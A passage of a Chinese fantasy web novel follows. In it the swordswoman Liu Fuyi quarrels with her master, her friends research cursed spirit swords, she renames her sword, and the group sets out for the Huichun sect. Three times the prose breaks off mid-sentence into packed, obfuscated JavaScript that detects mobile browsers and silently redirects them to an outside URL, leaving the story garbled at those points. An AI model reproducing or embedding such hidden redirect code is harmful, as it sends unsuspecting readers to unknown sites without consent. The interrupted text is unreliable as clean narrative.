柳伏意点头,她唇色仍然白着,眼神已然坚定非常:“陈家一连七人差点入魔,确实事有蹊跷。如若放任不管,恐怕整个回春派假以时日都会成为修界的毒瘤。” 她扫了一眼沈听寒手中寂然无光的天命,沉声道:“我过几日便去。” 沈听寒不做点评,和衡阳对了一眼便自然而然地避开柳伏意手腕处的伤口,轻柔地搭上她的脉。 他每拖一分,衡阳的心就揪一分。 “元气大亏是真的,不过已经不会危及生命,日日用上好的灵药养着,以伏意的身体素质,两三个月便能恢复如初了。” 衡阳松了一口气,对他说:“那你随伏意一道去吧。” 沈听寒抱拳称是,听见衡阳背过身去,语调怆然:“伏意,掌门要闭关了,可能十几二十年都不会出来……师徒一场,你去看看他吧。” 柳伏意起身躬身行礼,她答应过后衡阳便不多留了,交待了些有的没的,就躲回了自己的寄雪堂。 沈听寒趁她走前,随手从身边匣中抽出一条宝蓝色的发带来。 他轻柔捞起她如瀑的长发,简单帮她束了发。 “带阮长风他们一起去吧?” “嗯。” 她语调淡淡的,沈听寒听不出她对林秋池秉持什么样的态度,也就不多加干涉,为她寻了把油伞,一直送她送到清虚峰下。 他望着柳伏意的背影越行越远,终于轻笑一声,道:“师父,别偷看了,出来吧。” 衡阳小巧的身形立刻从一旁低矮的木丛中国窜出来,满是灰土的小手一掌呼在他莹蓝的袍子上,留下一个不深不浅的手印。 衡阳站在沈听寒身边,只有他胯那么高。他顺着沈听寒的目光追寻而去,其实已经看不见柳伏意的身影了。 “灵剑为主殉死一事,严格来说从古至今也就只有一把黄泉剑。而黄泉剑是个什么所在,你不会不了解。” 沈听寒静静“嗯”了一声,接下去道:“剑灵生心,爱上剑主,爱而不得,宁愿自毁。” 衡阳继而道出他们二人心中共同的疑问:“可那是神剑天命啊。” 沈听寒知道这事有多荒谬,暂且给不出妥贴的回答,道:“徒儿这便去清月峰藏经阁查阅古籍,应当会有些线索。” * 离开了清虚峰,漫然飘雪戛然而止。 清云峰几日之间已经被各峰弟子齐心协力收拾过一通。峰下巨石林立,绿影幽潭中怪石崎岖,恍如几条化形的蛟龙。 柳伏意一步步默然地爬着山,费了大力,才站在化仙阁古旧的牌匾之下。 林秋池正坐在蒲团上静心打坐,烛灯已经很暗,柳伏意仍然能清晰地看清楚他两鬓陡生的斑白。 他睁眼,松垮的眼皮耷拉下来,露出里面那双浑浊发黄的眼珠。 林秋池招呼着:“伏意,来吧。” 他斟了一杯茶,柳伏意接过一看,栗色的茶汤浓厚醇香,是她前几个月偷偷摸摸酿的新款奶茶。 林秋池抬头饮下一杯,笑道:“年轻人的东西,老头子果然还是吃不惯啊。” 他的笑容在注意到柳伏意头上几根发白的青丝之后就猛然僵在脸上。 “你知道师父为什么非要返老还童,重修无情道吗?”他不需要柳伏意的回答,自顾自道,“因为你已经不适合接手灵剑派了。” 柳伏意脸上露出茫然的神色,林秋池继续道:“拥雪崖上,咫尺相近。” 他一双苍老的眼睛直勾勾地盯住柳伏意,说出她心中早就有的一句结论。 “那天夜里,你动心了。” 烛火摇曳,将两人的影子拉得很长,也越隔越远。 柳伏意没做回答。 林秋池继而道:“无情道是灵剑派的创派之道。修界三神山都寥落,东极山归为传说迹不可寻,东岱山禁制过多不宜人居,唯有东瀛山被灵剑派占着。” “难道就因为战力强,灵剑派就能跃居为十二派之首稳居高位定人生死吗?” “从来都是因为万中无一的公允罢了。” 柳伏意眼眉一拧,眉目如刀。她冷嗤一声,隐痛连连。 “公允!?”她手指戳着茶几,沉闷的响声和林秋池的心跳声不谋而合,“你明知道姜美娘草菅人命却坐视不理,你管这叫公允?你明知道文柔事出有因,却偏因为一己之私对她反复利用反复鞭尸,这叫公允?林夕照本心不坏罪行不重,但你一句话就让他守十年的锁妖塔,这是公允?” 她轻浅的眼眶因为暴怒染上一抹血红,她几乎是歇斯底里地推翻了林秋池冠冕堂皇地理由。 “你只是不想有人能挑战你的权威罢了。” 柳伏意轻笑一声,表情愈加轻狂,“再说了,动心又如何?” “修士寿元漫长,一瞬心动不过是沧海一粟一闪而逝。” “任何人,哪怕是师父您,触犯戒律,罪无可恕,我也照杀不误。师父谨遵的戒律,到底是冷血无情,还是公平公正?” 柳伏意自觉没什么再好说了,她头一扭走出化仙阁,留下林秋池一人对着阁中那幅祖师爷的画像泪眼婆娑。 祖师早就说过他心智过坚容易执迷,他原以为一切因果从他杀了陈望轩报仇那刻就已彻底了结。没想到只是他漫漫长路的开始。 林秋池脚步蹒跚跪拜在祖师爷画像之前,他已经有许多年没有背过无情道的教条了。阁中光影奚落,林秋池俯身,像刚入道那天一样,祖师爷坐在他对面,听他背出那一套不大中听、背的磕磕绊绊的的教义。 他的头发随着道心的散去根根变白,直至满头华发。 慧静无法开解的那一部分执迷,在千百遍痛悔无奈的念诵中,悄无声息地散去了。 “原来,事已至此,才是真正的结束。” 林秋池回头望着早已凉透的奶茶,一步仿佛有千斤重。 柳伏意没走,她躲在化仙阁旁一颗古树身后。那树自灵剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109540|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派创立时就立在那儿,五人合抱尚且不能将它丈量。 林秋池背了多久,她就站了多久。夜色已深,化仙阁内的烛火熄灭了。 老迈的师父拄着化仙剑,他的腰佝偻了,看上去也不如从前伟岸强势。他一步一颤,循着月光铺就的小路,往山顶上的闭关之所摸索而去。 没了道心,灵力几乎无法运转。他走几步就不由地停下喘几口粗气。 “狠话说的那么绝,还不是心软舍不得?” 阮长风的声音自背后响起,柳伏意极快地低头把眼泪擦了,佯装什么都没发生过。 他抱着头吊儿郎当的,嘴里叼着根随手采来的鲜草:“如果这个世界真的像无情道构想的那样波澜不惊,也挺无聊的是不是?” 他不等柳伏意回答,唇边绽开一个笑容:“伏意,你欠我个人情哦。” 阮长风快步赶上小路,蹲在林秋池身前,嘴里照样寸土不让:“我就说修无情道都没有好下场你愣是不信,看,继我之后你也遭报应了吧!” 林秋池被他揽上后背背起来也毫不客气,一记栗凿打在他后脑勺上。 “臭小子!你那是无情道的原因吗!那是你活该!” 阮长风挺直腰板把老头背的十分紧实:“你不也是活该!” …… 清月峰如今是门庭若市,顾元香玄易和沈听寒在藏经阁碰头的时候也就没有太惊讶。这毕竟算是清月峰唯一一处稍显清净的地方了。 顾元香自知在灵剑派养蛊是绝无可能的,那便只能通过沈听寒搞到一些药草,做些巫毒娃娃之类的邪术备在包里。除此之外,还真就只能入乡随俗,正儿八经地从“剑灵传说”开始学剑。 阮长风跟她聊完估算着林秋池入关的时间,赶去送师父最后一程。她便只能叫上玄易这个从前的剑道天才来指点她一二了。 藏经阁有专人打扫,但似乎这位专人已经偷懒了很长时间,许多古籍上都落了一层厚厚的灰。 那本号称是无人不知的入门级教程“剑灵传说”更是被书虫啃了到处是洞。 沈听寒同样在最古的这一层书架找书,玄易见顾元香这儿实在没什么趣儿,便小跑几步凑到了沈听寒身边。 他探头望过去,沈听寒捧着一本《奇经录》,简单翻了几下,便放回去了。 “你找什么书?我帮帮你?” 沈听寒抬眉扫了一眼如登天梯那般望不到头的书阁,点头道:“所有关于天命剑和剑主的,还有剑史上所有灵剑殉主的,我都得看一看。这种轶闻一般只在野史之中有所提及,正史不知为何从来没有着笔过天命剑主的那部分内容。” 顾元香啃着一根从药师堂顺来的人参,口气不清道:“嗨,这种东西写在正史里引导多不好啊。万一咱们剑修穷的响叮当说不起媳妇真的找自己剑灵谈恋爱咋办,那从古至今就这么多把灵剑,造得慢毁的可老快了。” 她一搭腔,沈听寒便想起一件事来。 “在你老家,西域有没有什么办法,可以预知天命?” 顾元香面色一僵,玄易和沈听寒就将她的表情解读个七七八八。 绝对是有,但代价极大。 “什么代价?” 顾元香把嘴里的人参须吐出来:“这是通天之术啊,还什么代价?!八字不够硬当然直接耗血条了!” “哦,那也没关系,可以麻烦你帮我准备一下吗?” 顾元香脸皱的十分难看:“你这不没事干找死吗?” 玄易翻着手边一本古籍,道:“就是啊,说不定补剑之法顺手就是呢,真没那个运道强求也求不来的。” “总得在去回春派之前,让天命剑看起来没有丝毫破绽吧。” 40. 换名避谶 柳伏意身为剑修,从入道时起,衡阳便教她随时随地剑不离手。本来是怕刚入门的弟子丢三落四,门派隔三差五要补做新剑,而放在各位师父口中,剑不离手就成了剑修最基本的基本功。 如今修为高强,早就不用把剑随时随地背着,但柳伏意乍然没了剑相陪也有些不习惯。 她翻来覆去地睡不着觉,大概时至午夜,天边鱼肚白愈渐渲染开,她思绪神飞,做了个虚幻又仿佛有迹可循的梦。 成群白鸟振翅翱翔,飞速掠过平静如镜的海面,雪白的倒影映在蓝的发黑的海上。强壮的羽翼迎击海浪也毫不逊色,双翅迅疾一甩抖落浑身海水,再一昂首猛冲…… 终于她的视线从此开阔。 呼面而来的风雪伴着吞天卷地的灵光,狂然的威势震慑着她。 “东极山终年冰雪,人迹罕至,倒是很适合养剑养心。” 那人手中握着无光发黑的天命剑,与她接手时的样子有些出入,柳伏意有意使劲去看,仍然看不太真切。 梦中灰袍的女子玉冠束发,一手抱着剑,漫无目的地在东极山闲逛。 因为她的到来,神山之上彩云遍地,风雪终停。 “我会让你成为真正的天命。” 难道是剑灵残留下的记忆吗?柳伏意挣扎着,她的梦里除了一望无际的神光,除了眼前飘飘扬扬的飞雪,任何事物任何人都难以追索。 柳伏意醒来时天色尚早,似乎刚刚的梦只是漫漫长夜中的一块碎片。 而那碎片之中,唯一一处确凿无疑的,或许只有一个地名。 东极山。 柳伏意冥冥之中总觉得这是剑灵给她的指引,为了让天命早日恢复,她穿戴洗漱好,决定前去藏经阁查验一番。 藏经阁中书海浩瀚,往前几位师祖不乏有老书虫,游历天下纵横四海才寻得了许多近乎绝迹的古籍。 她按照索引,越过几处高耸入云的书柜,一转弯,和四人撞个满怀。 “你怎么来了?”沈听寒道。 “睡不着呗,有查到什么线索吗?” 柳伏意与四人一同撩袍坐下,五人围成一个圈,阮长风便从袖子里掏出一只超大号的木雕萤火虫。 他一打响指,“萤火虫”的屁股发出明亮荧黄的微光来。 玄易和沈听寒把手上已经找到的书籍一一排开,其中最重要的一本便是被剑道前辈视为妖言惑众之邪说的《东洲录》。 此书封面上沾着些许早已干涸的水渍,泛黄的书页若不小心几乎会被牵连粉碎。 这本东洲录位于书架的最高处,上面积落的灰尘也比旁的厚了整整一倍。 玄易小心翼翼地吹开满手的尘垢,指了指头顶:“这本书是放在最顶上的,不在书阁里,我翻了一下倒是有一部分提到了黄泉剑。” 他翻开扉页,按照目录大致扫了一眼,念道:“世间灵剑都有剑灵,剑灵亦人非人。剑道之始,起于神山。” 柳伏意秀眉微蹙:“东极山?” 沈听寒摇头,将手边一本野史递给她:“应该是这本书里提了一嘴的神山氏,神山氏最后一位家主死后剑道之中某些抑制剑灵产生人性的方法就失传了。” 阮长风接茬,将两本书合起来摆在柳伏意面前。她借着萤火微光去看,两本书跨越千年,内容却刚好衔接。 因为神山氏覆灭,剑灵自此毫无掣肘,剑修若是不养剑心,剑灵可能就会自主意识过于强劲。当剑灵的意念超过剑主时,剑灵甚至可以操控剑主成为它的躯壳。 “黄泉剑殉主一事波及甚广,因而修界史书也无法将这件事整个抹去。剑灵生心明面上是第一次,暗地里就不知有无其他案例了。”阮长风道。 顾元香刚接触剑道不久,她面露不解,见阮长风一直盯着她,她才问出来心中疑惑:“为什么剑灵生心会被定成邪说啊?不就是爱上主人吗,好像没什么了不起的。” “剑灵生心,说明剑灵具有了人性。那它就不再是对主人绝对忠诚的存在,它或许也会生出人性之中的某些弱点。” 那么剑灵与剑主之间的关联就不再是能毫无后顾之忧、以命相托的牢靠,剑修之道几乎会被颠覆。 “好了,我明白了!接下来就由我给大家初步介绍一下黄泉剑和剑主的爱恨情仇!” 到了顾元香的部分,她清了清嗓子,将书本卷起扩声,但又故意压低了声调:“话说,这黄泉剑主苏墨言,当年是五洲四海公认的第一美人~不仅貌美如花,而且善良坚韧,想做她道侣的修士能从灵剑派一路排到海外蓬莱!” 玄易见她一副要从盘古开天辟地开始讲起的样子,连忙把她手里受害的书本抢了过来。 “没那么复杂,黄泉剑有一句箴言,如今流传下来人尽皆知的只有后半句。” 柳伏意转了转眼珠,道:“司掌泉路,召役玄冥。” “嗯呢,后半句就是讲黄泉剑能力强大,黄泉剑主执掌鬼门,万千鬼将可供驱策。”玄易翻了翻那本古旧的东洲录,手指停在末页上,“而前半句在这儿。” “鬼踞灵台,人剑同朽。”玄易望着柳伏意道,“黄泉剑本身就是吸取主人寿命气血的邪剑,因而能够更早开灵智。它存活于世的代价,就是历任剑主的死亡。” 玄易说完,几人同时沉默。 天命的剑主无一善终,同样都是少年短命。 会不会天命本身就是不祥的? “所以剑灵消失,对你而言,或许不是坏事。” 柳伏意没有搭话,顾元香看出她兴致不高,连忙笑着把话题岔开:“其实黄泉剑和苏墨言也挺可惜的。黄泉剑灵本身不知道自己现身会消耗剑主的寿命,苏墨言一开始也不知道爱上的是剑灵。本来还以为是天赐良缘,结果嘛,阴差阳错就成了亡命鸳鸯了。” 她干笑几声,见几人都一派严肃,自觉无奈,一把将书合上了。 “这些书中,有提到过东极山吗?” 玄易翻书最多,他思索片刻摇了摇头:“三神山更像是口口相传下来的,没有文字记载。” 连古籍中提都没提过,更别说真的在修界偌大的舆图上找到这个地方了。 至于其他有关天命的信息,几人通宵翻遍了藏经阁也没有寻到半点蛛丝马迹。似乎如同它名字所代表的,本身就是人间不可窥得的禁忌。 柳伏意闻言,静心片刻,想起了识海中那本许久没有翻阅过的《天命剑使用指南》。 没了天命提醒她,她几乎从来没注意过这本手册。 面前四人有一搭没一搭地聊着天,柳伏意闭眼小憩。 识海中的使用指南仍然停在第一页“棒打鸳鸯”四个大字上,她不断翻阅,页码飞速翻过,除却后头写了足足一整本的各种开挂术法和金手指,这本使用指南还透露出了一个真理。 天命顾名思义,受命于天,寿与天齐。 即便遭受重创,只要剑主不死,攒够功德,天命自然能够恢复。 柳伏意顿时很无奈,什么我肯为了你去死,搞了半天是知道自己不会死,装模作样来博同情的。 不过看在后头全本的开挂技能上,她先不打算跟天命计较。而且她也从灵剑派四人的话里悟出了一个道理。 看看修界历史上臭名远播的几把短命剑,什么黄泉剑天命剑帝皇剑,拿了这种玩意儿的没一个剑修有好下场。 “我要给天命改个名字。” 她说的突然,原本叽叽喳喳讨论其他剑灵传说的四人立刻噤声,齐刷刷露着极度不解的目光朝她看过去。 顾元香道:“天命这两个字都这么霸气了,你还要换成啥?天下第一无敌神兵,狂拽酷炫修仙第一剑?” 柳伏意说的一本正经:“我觉得老祖宗的说法也是有道理的,起名需要避谶啊,糙名才好养活。” 她翻了翻面前的古书,口中念念有词:“你看他这个破名都克死四代了,到我这儿不如就改名叫……” 四人目光紧切。 “地瓜蛋!” 地瓜蛋剑主吗……? 顾元香捂脸,脑子里突然就出了画面。仙气飘飘含霜履雪的天命剑主突然就跌落云端,成了一个四处挖地瓜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113766|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的简朴老实人。 “为什么叫这个名字啊?”她由衷发问。 柳伏意顺口回答说:“因为今天早上二娘做的早饭是清蒸地瓜蛋。” “那这名字确实很糙了……” 天命没事了,这对柳伏意来说才算是上一场祸事终于迎来了结局。而她反应过来的时候,才注意到四人眼下或多或少的青黑。 这几日她要么睡着,要么心里难受,只顾着注意自己,倒是没怎么关心这帮真正为她迈进了鬼门关的朋友们。 顾元香瘦了一圈,她伤的不重,却是从清云峰一路背着重伤的柳伏意回寄雪堂,上上下下几千级台阶,她一刻也不敢停。现如今更是熬了不知道几个大夜,眼中的疲惫藏都藏不住。 阮长风胡子拉碴的,本身因为道毁,灵力就微乎其微,还以元神入阵,几乎是纯耗自己寿元。 玄易也好不到哪里去,过了这么些天说话的语调还有些虚。 四人里最严重的,应该就是沈听寒了。 柳伏意侧目凝视他的侧脸,沈听寒唇色淡淡,脸色微白。他始终不言不语,翻看着如何能帮她修好剑身的办法。 她按住他翻书的手,坐姿端正,从左至右看向他们每个人。 “多谢各位为我做了这么多。” 顾元香眼睛亮了亮,下一瞬立刻欺身上前扑进她怀里,抱着她的脖子欣喜若狂。 柳伏意虽说一直扮演着清冷矜贵的高岭之花,但她其实所有情绪变化都写在脸上。肉眼可见的,前些天她阴郁得浑身像结了一层千年的寒冰。 而此时此刻,她脸上带着歉疚的笑意,眼底那抹生人勿近的愁云惨雾也已悄无声息地被化解。 “师姐,你终于从阴影里走出来了!那天……地瓜蛋怎么办?” 柳伏意双眸含笑,拥着顾元香,慢悠悠地拍着她的背:“地瓜蛋会好的,眼下最紧要的倒是回春派的事情。” 顾元香闻言缩回原地,想起先前在问心阵中的所见所感仍然义愤填膺。她肘了肘一旁的玄易,没好气道:“我估摸着回春派风水绝对有问题,宗门大比的时候就没感觉他们有双商正常的弟子!” 玄易没管她,抬头问柳伏意:“我们什么时候动身?” 柳伏意难免露出几分为难的神色,如今他们几个身体都不算好,冒冒然一头扎进回春派,大概落个凶多吉少的下场。 “越早动身越好,陈怀春尚且留着一口气,我们在回春派还好行事,要是等他死了,剩下楼黄两家主权,一切就不好说了。”玄易道。 沈听寒自然知道她在顾及什么,率先出声:“我身体已无大碍,再说我只是后勤医修,抛头颅洒热血的事情轮不到我,我随时可以动身。” 顾元香灵光一闪,仿照他的句式紧接着道:“我本来伤的就不重,而且我负责答疑解惑,危险离我就更远了!我也随时可以跟你走!” 玄易不必多说,他“阿弥陀佛”一句,向柳伏意行了个礼:“出家人不打诳语,更何况这陈芝麻烂谷子的仇我是非报不可!” 他话说的由弱渐强气势磅礴,沈听寒熟练地去他的脉搏,随即给伏意下了定论:“没事,他一个佛修浑身战斗技都被废了,不就是躲在你身后打打嘴炮念念经,死不了。” 怎么还是带着一股不明所以的火药味儿? 玄易暗暗扔了沈听寒一个白眼。 阮长风将手递给沈听寒,被他一折扇推开:“你这几天每天都来请平安脉,你真的没有生命危险了,阮娘娘。” “滚你个蛋!”他故作矜持地咳了几声,搭住玄易的肩说,“吾乃灵剑派大师兄,随行回春派,一则保护师弟师妹,二则君子一诺千金……哎哎,别走啊,我不吹了还不成吗?” 阮长风追着四人的身形跑出藏经阁,阁门大开,鱼肚白之上是明媚无疆的彩霞。 “我当然会跟你们一起去了!”他说的斩钉截铁,但当下没人搭理他。 柳伏意轻轻扯了扯沈听寒的袖子,他俊秀清癯的眉目被映面的朝霞镀上一层金边。 “沈听寒,谢谢你。” 41. 缠心藤(一) 回春派位于最南边的永州,单靠御剑至少要花费五六天,最合时宜的便是利用仙门之间彼此打通的驿站点,通过瞬行术快速到达目的地。 而这仙门驿站唯一的一点不好就是纯由弟子轮流看守,时不时就会出一些小问题。 五人收拾好随身的包裹,来到渝州城中的仙门驿站。 此驿名曰青云驿,虽说背靠东瀛神山,又打着灵剑派的招牌,到底是隐世的修仙之流,建造并不铺张。驿站延续灵剑派建筑一贯的风格,以白石为基,不嫌麻烦地摞起一层高高的院墙,在其中建立起层台累榭。 柳伏意站在外头粗略地扫一眼,约莫有十多间禅房的样子,总之够他们几人落脚。 阮长风对于驿站比他们都更熟悉,他一马当先,将背上的包裹随手甩在驿站的桌案上,朝正在执行守门职责的弟子挑了挑浓眉。 “道友,我们要去回春派旁边的春花驿,麻烦你帮忙安排安排。”他说着,从怀里掏出几块碎银子递过去。 顾元香看着他耍宝,就差把心里话脱口而出。 守驿的还不是灵剑派的弟子吗?清净峰长老都来了,哪还用得着拿钱收买人家? 不过那弟子收了钱也客客气气地,先朝他们福身行礼,然后才转身从整一面繁杂混乱的布告栏上找到“春花驿”这三个字。 “春花驿那边后半夜才有弟子下山值守哦,等到那时我再送你们去。”弟子递给阮长风五把钥匙,“你们可以先去房中歇息片刻。” 扫过几人眼下的青黑,柳伏意从阮长风手中拿过钥匙来一人分一把,语气无奈又忍不住笑:“从我们一拍即合决定出发到现在还不超过一个时辰,确实不急于一时。你们这几天熬的眼珠子都快掉出来了,还是先回去睡一觉吧。” 闻言,几人互相扭头打量一番,看对方都是一副遮不住的疲惫死相,印堂发黑,双目无神。 看着就很……不吉利。 时至傍晚,五人组才陆陆续续在大堂中集合。 长街外灯火通明人声鼎沸,春意盎然的时节微风徐徐,神山上拂来的风裹挟着新鲜花果与泥土的馥郁之气。 渝州不禁夜市,街坊两侧不乏有百姓摆摊叫卖。 “正好,咱们出去逛逛,顺道吃个晚饭吧。”顾元香一双眼睛早就钉在门口那家甜米酿的招牌上。 柳伏意伸了个懒腰,她对吃的不算讲究,但是来都来了,光明正大游历渝州城的机会也不是天天都有的。 她左右看了看,其余三位一副入乡随俗的模样,她便拉着顾元香点点头,俩人头也没回地就往对面老叟的酒摊上冲。 玄易连忙起身,对阮长风使了个眼色:“快跟过去啊。” 阮长风往后扫了一眼,不就在大门口,更何况这俩一个赛一个的不好惹,有什么好看着的。 不欺负别人就算人家走运了。 沈听寒依旧品着茶,轻轻吹开杯盏中漂浮的茶叶,道:“她们没带钱。” 当着青云驿的面吃霸王餐,丢的也是他们灵剑派的脸。 阮长风白了他们一眼,随即一手拉一个,像三个门神一样杵在两位姑娘身边。 “别这么苦大仇深的好不好,大家都是鬼门关打过滚的人了,好不容易有时间放放风,你还不乐意?”顾元香顺手拿了边上一屉包子。 阮长风嘴上话还没来得及呛声,先从袖子里摸出银子来递给店家买单。 “你能不能不要什么都吃一口啊!你当我的钱是大风刮来的!” “大师兄,太小气可有损你的形象啊~”玄易将怀里的钱袋子捂紧了,靠近竹筒粽的摊位又是一伸爪就抽了五支出来。 某人在后头狂吠:“拿那么多要是吃不完我攮死你!” 沈听寒扇着玉扇,同他们看上去就不像是一个画风的。皎若云月的翩翩公子神清骨秀,举至有礼,免不了吸引路过的姑娘们多看他几眼。 阮长风和玄易互相换了眼神,顿时达成一致。 玄易大跨步上前架着他的胳膊,阮长风一手夺了他的玉骨扇,顺手就用拳头那么大的包子堵住了他的嘴。 “味道挺好的。”顾元香无视他们三人的打闹,挽着柳伏意的手心满意足。 “嗯,这个甜米酿还挺特别。” 沈听寒哪怕是被按着强塞,那张清秀俊朗的脸上也没有半分愠色。他咬住包子,慢悠悠地从两人手中挣脱,行云流水一气呵成。 五人一路打打闹闹,顺着人流,停在城中偌大的一棵古树之前。 花香满溢,满目风光。 “这是相思树?”顾元香瞥了一眼树下卧石上的题字,扭头看见柳伏意抬眸望着偌大的古树若有所思。 所谓相思树,其实得名于树前不远处的那座月老庙。而百年变迁沧海桑田,月老庙早已拆除了,唯独这棵古树屹立不倒,已经成了渝州独特的标志之一。 每到婚龄,或是心有所属的男男女女,都会遵从渝州城内的习俗,将心上人的名字写在木牌上,再将木牌系好红线一抛而上留在树上。 意为沧海变迁,矢志不渝。 难道柳伏意也想留牌子……? “师姐,你看什么呢?”顾元香已经做好撺掇她留名的准备。 “我在想,这么大的树,要是被金雷劈过做成雷击木的话,岂不是能做好多个剑鞘?” 她手指一弯,顾元香就真怕她一道灵咒叫来几道金雷。 “别这样!这可是渝州月老树,你给人劈烂了得毁多少桩姻缘啊。”而且一定会被全渝州的百姓追着杀。 顾元香连忙拽着阮长风去树下老妪那儿,塞了几个铜板,收获五块木牌。 玄易望着她神色复杂:“有没有可能我是和尚,没有心上人也不会有心上人呢?你给我块儿牌叫我挂谁??” 阮长风觉得挺新鲜的,他亲眼看着柳伏意第一个提笔,似乎写的人名是三个字…… 甜米酿的酒意略有上脸,她双颊微红,笑靥如花。 “呐!”柳伏意将自己的木牌第一个展示给沈听寒看,某人脑中已经自然顺着当下情境,将木牌上“柳伏意”三个字改成了自己的名字。 沈听寒对她笑了笑,也紧接着顾元香之后从旁提笔。 顾元香想了想,自己也没什么桃花,还是也写自己名字好,这样就不怕没人爱啦~ 她写就一块,瞥见阮长风和玄易同样没什么八卦可挖,五块牌子即将全军覆没。 沈听寒注意到她火热又失望的眼神,微笑着眯了眯眼,双指一拐将自己的木牌转给她看。 柳、伏、意。 顾元香顿时心中万马奔腾恨不得振臂高呼,就你有种! 他食指竖在唇前,顾元香立刻给他比了个手势,强压住自己往上翘的嘴角。 “一、二、三……扔!”顾元香喊道。 五人动作整齐划一,往上一抛,五道系着红线的木牌便留在满是红花的枝杈上。 “临行前,我还给咱们起了个很拉风的队名呢。”顾元香说。 四人之中,柳伏意和沈听寒脸上是如出一辙的招牌微笑,玄易和阮长风像是要开口吐槽,被她一人一掌捂住了嘴。 “好歹是灵剑派出去的,咱们也得有团魂啊。” 她铺垫了好一会儿,沈听寒才问:“好吧,那你究竟起了什么队名。” “麻雀虽小~~五毒俱全。” 柳伏意抿着唇,咀嚼片刻,道:“大家都是好人,起个毒名是不是不太好……?” 她转念一想,元香是从西域来的,那儿毒蛊遍地,可能这个“毒”字对她来说也有别的意味?或许是因为思乡情切,五毒就是五个家人的意思呢? 柳伏意顿时把逻辑理顺了,很快地推翻了自己的反驳:“可以,你喜欢就好,我没意见。” 沈听寒、阮长风、玄易:“???” 沈听寒一惯的笑容都被雷的有些发干,不过估摸着除了他们五个人应该也没谁会听说这个团名,霎时间就把自己调理好了。 “嗯,我也没意见。” 阮长风、玄易:“……同意的已经占多数了,我们俩有意见好像也没用。” 那就同意吧。 “爽快!喝酒!!” “还是少喝点吧,别耽误正事儿……” “我看谁不喝!?” “喂灌我鼻孔里了!” 五毒团酣歌畅饮把酒言欢几个时辰,就差没面向皇天后土义结金兰。等回到青云驿的时候,每人身上的酒气都足以熏死几只家畜。 守驿人一番苦等,见五人终于东倒西歪地回来了,也不管他们是不是清醒。 小人物也是有自己的职业操守的!他望着睡意朦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121904|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胧的阮长风暗暗发誓,收了钱就一定要遵从主顾的吩咐,半夜启程,使命必达! 他将五人房里的随身包袱拿出来,确认没什么遗漏,又见他们似乎神志不清的样子,难免中途乱动出岔子,索性将五人用绳子捆了在一起。 完美! 瞬行阵法刺目耀眼的灵光直愣愣地打在五人面门,终于唤醒了他们的一丝神智。 “醒醒,姐妹们,上路了。”顾元香嘟囔着,眼睛睁都睁不开。 柳伏意悄然无声,她喝得头痛欲裂,顶着强光把眼睁开后,他们其实已经身在春花驿之中。 阮长风想翻身,感觉自己好像被什么捆着,顺手就解了手上的绳子。他脚步虚浮,刚走一步就往前一扑摔在地上。 “哟,还没喝多?路都走不稳了你!”玄易准备去搀他,一转头却发现他们身后约莫有二十多个人持剑,随时准备出招的模样。 他一时分不清是自己喝多了眼花,看人都有重影,还是真的有这么多人守株待兔准备把他们一举全歼。 玄易猛然扭头,柳伏意和沈听寒睡得正香。 “!!!!五毒团就你一个人能打你睡着了我们怎么办!!” 他哪还有空管摔了个狗吃屎的阮长风,一个箭步冲向柳伏意,按着她的肩膀就是猛力地一阵摇晃。 “……好晕。” 玄易不由分说将她拉起来挡在自己身前:“先别晕!放倒他们再说!” “……好想吐。” 玄易满脸黑线。 回春派哪有人不认识他们五个,尤其是柳伏意这张脸。 为首的正是陈家领命出巡的大师姐陈青黛。 “你们五个来回春派有何贵干?”陈青黛左右扫一眼,她身后的师弟师妹就伶俐地四散开去,像是在寻找什么东西。 五人之中也就玄易还能说话,为了避免对方上来就招呼刀子,和尚难得换上沈听寒那种迷死人的温柔笑意。 “问你话呢笑这么瘆人干什么!”陈青黛跨步上前一剑搭在柳伏意脖子上。 玄易一惊,手上收力把柳伏意扯回来,又放回原地。 “我们只是来回春派……探亲的。” 总不能说是来查入魔一事的吧!?六大长老都中招了,谁知道这家伙是敌是友啊。 陈青黛狐疑地盯着他,漂亮的凤眸映着春花驿明亮的星火。 “啊!!!!!” “师姐!!不好了!!” 闻言,陈青黛一脚将玄易踹翻在地上。 和尚捂着自己的肋骨痛不欲生,不明白这个女的怎么莫名其妙就对他们有这么大敌意。 “倪黎师姐……死了……”白栀和张通天把倪黎的尸体搬出来,摆在陈青黛面前。 她眸光微颤,不可置信地蹲下身去,伸指往倪黎鼻间探了探鼻息。 确实是死透了。 陈青黛咬着牙,青黛剑因剑主的怒意而猛然发震。 等等?!这一前一后的,看这大师姐的模样不会以为是他们杀了回春派弟子吧?! 